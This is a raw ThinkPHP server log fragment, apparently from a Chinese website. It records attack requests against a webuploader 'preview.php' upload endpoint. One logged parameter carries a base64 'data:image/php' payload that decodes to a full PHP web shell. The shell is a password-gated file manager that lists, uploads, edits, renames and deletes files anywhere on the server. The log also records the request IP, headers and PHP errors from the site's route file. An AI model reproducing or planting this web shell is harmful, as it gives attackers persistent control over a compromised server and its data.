'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/common/user/webuploader/0.1.5/server/preview.php [运行时间:0.002498s] [吞吐率:400.30req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 